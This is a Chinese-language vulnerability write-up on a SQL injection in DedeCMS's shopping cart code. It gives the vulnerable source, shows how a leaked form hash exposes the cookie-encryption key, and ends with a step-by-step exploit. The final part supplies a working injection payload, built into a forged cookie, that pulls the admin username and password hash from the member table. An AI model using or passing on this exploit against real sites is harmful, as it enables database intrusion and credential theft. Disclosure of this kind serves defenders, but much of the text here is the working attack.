酷应用

DedeCMS SQL注入

技术作者：HackerEye 2018-08-24 09:10:51

发布时间：2016-08-21
公开时间：N/A
漏洞类型：SQL注入
危害等级：高
漏洞编号：xianzhi-2016-08-39374560
测试版本：N/A

漏洞详情

plus/carbuyaction.php

    $Items = $cart->getItems();
    if(empty($Items))
    {
        ShowMsg("您的购物车中没有商品！","-1");
        exit();
    }
    …………
    foreach($Items as $key=>$val)
                {
                    $val['price'] = str_replace(",","",$val['price']);
                    $dsql->ExecuteNoneQuery("INSERT INTO #@__shops_products (aid,oid,userid,title,price,buynum)
                    VALUES ('$val[id]','$OrdersId','$userid','$val[title]','$val[price]','$val[buynum]');");
                }
                $sql = "INSERT INTO #@__shops_userinfo (userid,oid,consignee,address,zip,tel,email,des)
                 VALUES ('$userid','$OrdersId','$postname','$address','$zip','$tel','$email','$des');
                ";
                $dsql->ExecuteNoneQuery($sql);

include/shopcar.class.php

    function getItems()
    {
        $Products = array();
        foreach($_COOKIE as $key => $vals)
        {
            if(preg_match("#".DE_ItemEcode."#", $key) && preg_match("#[^_0-9a-z]#", $key))
            {
                parse_str($this->deCrypt($vals), $arrays);
                $values = @array_values($arrays);
                if(!empty($values))
                {
                    $arrays['price'] = sprintf("%01.2f", $arrays['price']);
                    if($arrays['buynum'] < 1)
                    {
                        $arrays['buynum'] = 0;
                    }
                    $Products[$key] = $arrays;
                }
            }
        }
        unset($key,$vals,$values,$arrays);
        return $Products;
    }

可以看到 item来自cookie 经过decrypt之后直接进了sql 再来看看decrypt函数

 function deCrypt($txt)
    {
        return $this->mchStrCode($txt,'DECODE');
    }
    
    function mchStrCode($string, $operation = 'ENCODE') 
    {
        $key_length = 4;
        $expiry = 0;
        $key = md5($GLOBALS['cfg_cookie_encode']);
        $fixedkey = md5($key);
        $egiskeys = md5(substr($fixedkey, 16, 16));
        $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
        $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
        $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
        $i = 0; $result = '';
        $string_length = strlen($string);
        for ($i = 0; $i < $string_length; $i++){
            $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
        }
        if($operation == 'ENCODE') {
            return $runtokey . str_replace('=', '', base64_encode($result));
        } else {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {
                return substr($result, 26);
            } else {
                return '';
            }
        }
    }

mchStrCode函数其实就是dz的authcode函数的简化版虽然简化了但足够用来防止篡改数据这里用到的key是cfg_cookie_encode 在安装的时候初始化用在很多校验用户输入的地方如果能够搞到这个key 就能伪造cookie实现注入 member/inc/inc_archives_functions.php

function PrintAutoFieldsAdd(&$fieldset, $loadtype='all', $isprint=TRUE)
{
    global $cfg_cookie_encode;
    $dtp = new DedeTagParse();
    $dtp->SetNameSpace('field','<','>');
    $dtp->LoadSource($fieldset);
    $dede_addonfields = '';
    $addonfieldsname = '';
    if(is_array($dtp->CTags))
    {
        foreach($dtp->CTags as $tid=>$ctag)
        {
            if($loadtype!='autofield' ||  $ctag->GetAtt('autofield')==1 )
            {
                $dede_addonfields .= ( $dede_addonfields=="" ? $ctag->GetName().",".$ctag->GetAtt('type') : ";".$ctag->GetName().",".$ctag->GetAtt('type') );
                $addonfieldsname .= ",".$ctag->GetName();
                if ($isprint) echo  GetFormItemA($ctag);
            }
        }
    }
    if ($isprint) echo "<input type='hidden' name='dede_addonfields' value=\"".$dede_addonfields."\">\r\n";
    echo "<input type=\"hidden\" name=\"dede_fieldshash\" value=\"".md5($dede_addonfields.$cfg_cookie_encode)."\" />";
    // 增加一个返回
    return $addonfieldsname;
}

可以看到当loadtype='autofield'的时候 $dede_addonfields始终不会被添加所以md5($dede_addonfields.$cfg_cookie_encode)实际上就是md5($cfg_cookie_encode) 搜了一下很多地方都这样调用比如member\templets\article_add.htm

<label>缩略图：</label>
            <input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);"  maxlength="100" class="intxt"/>
          </p>
      <?php
       //自定义字段
       PrintAutoFieldsAdd($cInfos['fieldset'],'autofield');
      ?>
    </div>
        <!— 表单操作区域 —>
        <h3 class="meTitle">详细内容</h3>
        <div cla

md5($cfg_cookie_encode)刚好就是mchStrCode函数的$key

$key = md5($GLOBALS['cfg_cookie_encode']);

具体操作

注册账号（或者系统开启匿名投稿）
访问http://192.168.1.170/dedecms/member/article_add.php 查看源码

<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);"  maxlength="100" class="intxt"/>
</p>
<input type='hidden' name='dede_addonfields' value="">
<input type="hidden" name="dede_fieldshash" value="e344ea979d3dbdc2e9bf1c3541e63308" />    </div>
<!— 表单操作区域 —>
<h3 class="meTitle">详细内容</h3>

得到 md5($GLOBALS['cfg_cookie_encode'])=e344ea979d3dbdc2e9bf1c3541e63308 3.用这个key生成cookie

$inject = 'id=82\',\&#39;.``.aid,8, (select concat(uname,0x3a,pwd) from dede_member where mid =1),1,1)#';
echo urlencode(mchStrCode($inject));
/
记得先把mchStrCode函数中的
$key = md5($GLOBALS['cfg_cookie_encode']);
改为
$key = 'e344ea979d3dbdc2e9bf1c3541e63308';
————————————————
$inject中的id改成物品id 
aid,后面的8改成自己的uid